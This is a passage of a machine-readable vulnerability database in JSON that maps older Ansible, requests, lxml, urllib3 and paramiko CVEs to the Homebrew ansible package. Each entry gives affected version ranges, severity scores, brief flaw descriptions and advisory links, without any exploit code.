has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:1948"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:1949"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2022"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2079"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2184"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10855"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-10874","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2018-10874","GHSA-3xvg-x47j-x75w","PYSEC-2018-81"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"In ansible it was found that inventory variables are loaded from current working directory when running ad-hoc command which are under attacker's control, allowing to run arbitrary code as a result.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"http://www.securitytracker.com/id/1041396"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10874"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-10875","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2018-10875","GHSA-fc4h-467w-46rh","PYSEC-2018-43"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible. ansible.cfg is read from the current working directory which can be altered to make it point to a plugin or a module path under the control of an attacker, thus allowing the attacker to execute arbitrary code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://www.securitytracker.com/id/1041396"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10875"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-16837","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2018-16837","GHSA-hwrm-63v2-42g4","PYSEC-2018-44"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible \"User\" module leaks any data which is passed on as a parameter to ssh-keygen. This could lean in undesirable situations such as passphrases credentials passed as a parameter for the ssh-keygen executable. Showing those credentials in clear text form for every user which have access just to the process list.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/105700"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3460"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3461"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3462"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3463"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/cve-2018-16837"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2018/11/msg00012.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16837"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-16859","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2018-16859","GHSA-v735-2pp6-h86r","PYSEC-2018-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.3"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"}]},"details":"Execution of Ansible playbooks on Windows platforms with PowerShell ScriptBlock logging and Module logging enabled can allow for 'become' passwords to appear in EventLogs in plaintext. A local user with administrator privileges on the machine can view these logs and discover the plaintext password. Ansible Engine 2.8 and older are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/106004"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3770"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3771"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3773"},{"type":"REPORT","url":"https://access.redhat.com/errata/RHSA-2018:3772"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16859"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/49142"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-16876","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2018-16876","GHSA-j569-fghw-f9rx","PYSEC-2019-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.5"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"ansible before versions 2.5.14, 2.6.11, 2.7.5 is vulnerable to a information disclosure flaw in vvv+ mode with no_log on that can lead to leakage of sensible data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/106225"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3835"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3836"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3837"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3838"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0564"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0590"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16876"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/49569"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-18074","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:58Z","upstream":["GHSA-x84v-xcm2-53pg","CVE-2018-18074","PYSEC-2018-28"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"2.7.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Insufficiently Protected Credentials in Requests","details":"The Requests package through 2.19.1 before 2018-09-14 for Python sends an HTTP Authorization header to an http URI upon receiving a same-hostname https-to-http redirect, which makes it easier for remote attackers to discover credentials by sniffing the network.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-18074"},{"type":"WEB","url":"https://github.com/requests/requests/issues/4716"},{"type":"WEB","url":"https://github.com/requests/requests/pull/4718"},{"type":"WEB","url":"https://github.com/requests/requests/commit/c45d7c49ea75133e52ab22a8e9e13173938e36ff"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:2035"},{"type":"WEB","url":"https://bugs.debian.org/910766"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2018-28.yaml"},{"type":"PACKAGE","url":"https://github.com/requests/requests"},{"type":"WEB","url":"https://usn.ubuntu.com/3790-1"},{"type":"WEB","url":"https://usn.ubuntu.com/3790-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"http://docs.python-requests.org/en/master/community/updates/#release-and-version-history"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00024.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-19787","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-xp26-p53h-6h2p","CVE-2018-19787","PYSEC-2018-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"2.1.2.0"},{"introduced":"2.3.0.0_2"},{"fixed":"2.7.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.5","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"Improper Neutralization of Input During Web Page Generation in LXML","details":"An issue was discovered in lxml before 4.2.5. lxml/html/clean.py in the lxml.html.clean module does not remove javascript: URLs that use escaping, allowing a remote attacker to conduct XSS attacks, as demonstrated by \"j a v a s c r i p t:\" in Internet Explorer. This is a similar issue to CVE-2014-3146.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-19787"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/6be1d081b49c97cfd7b3fbd934a193b668629109"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xp26-p53h-6h2p"},{"type":"WEB","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2018-12.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/12/msg00001.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/11/msg00044.html"},{"type":"WEB","url":"https://usn.ubuntu.com/3841-1"},{"type":"WEB","url":"https://usn.ubuntu.com/3841-2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-20060","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:13Z","upstream":["GHSA-www2-v7xj-xrc6","CVE-2018-20060","PYSEC-2018-32"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"2.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.23","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in urllib3","details":"urllib3 before version 1.23 does not remove the Authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the Authorization header to be exposed to unintended hosts or transmitted in cleartext.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-20060"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/issues/1316"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/1346"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/560bd227b90f74417ffaedebf5f8d05a8ee4f532"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-1"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241227-0010"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWP36YW3KSVLXDBY3QJKDYEPCIMN3VQZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BXLAXHM3Z6DUCXZ7ZXZ2EAYJXWDCZFCT"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5SJERZEJDSUYQP7BNBXMBHRHGY26HRZD"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/blob/master/CHANGES.rst"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2018-32.yaml"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1649153"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:2272"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-25091","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:08Z","upstream":["GHSA-gwvm-45gx-3cf8","CVE-2018-25091","PYSEC-2023-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"2.8.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.24.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Authorization Header forwarded on redirect","details":"urllib3 before 1.24.2 does not remove the authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the authorization header to be exposed to unintended hosts or transmitted in cleartext. NOTE: this issue exists because of an incomplete fix for CVE-2018-20060 (which was case-sensitive).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-25091"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/issues/1510"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/adb358f8e06865406d1f05e581a16cbea2136fbc"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-207.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/compare/1.24.1...1.24.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-7750","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-232r-66cg-79px","CVE-2018-7750","PYSEC-2018-19"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.1.0","key":"pkg:pypi/paramiko@5.1.0","resource":"paramiko"}]},"summary":"Paramiko not properly checking authentication before processing other requests","details":"transport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-7750"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/1175"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/fa29bd8446c8eab237f5187d28787727b4610516"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/e9dfd854bdaf8af15d7834f7502a0451d217bb8c"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/45712"},{"type":"WEB","url":"https://web.archive.org/web/20190831123128/http://www.securityfocus.com/bid/103713"},{"type":"WEB","url":"https://usn.ubuntu.com/3603-2"},{"type":"WEB","url":"https://usn.ubuntu.com/3603-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/12/msg00025.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2018-19.yaml"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/blob/master/sites/www/changelog.rst"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/blob/e861c7697622774071ce73b46ffe8817eacdedfa/sites/www/changelog.rst?plain=1#L759-L763"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-232r-66cg-79px"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1972"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1525"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1328"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1274"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1213"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1125"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1124"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:0646"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:0591"},{"type":"WEB","url":"http://www.securityfocus.com/bid/103713"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10156","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-10156","GHSA-grgm-pph5-j5h7","PYSEC-2019-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10156"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/57188"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10206","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-10206","GHSA-cqmr-rcpr-cxh3","PYSEC-2019-145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"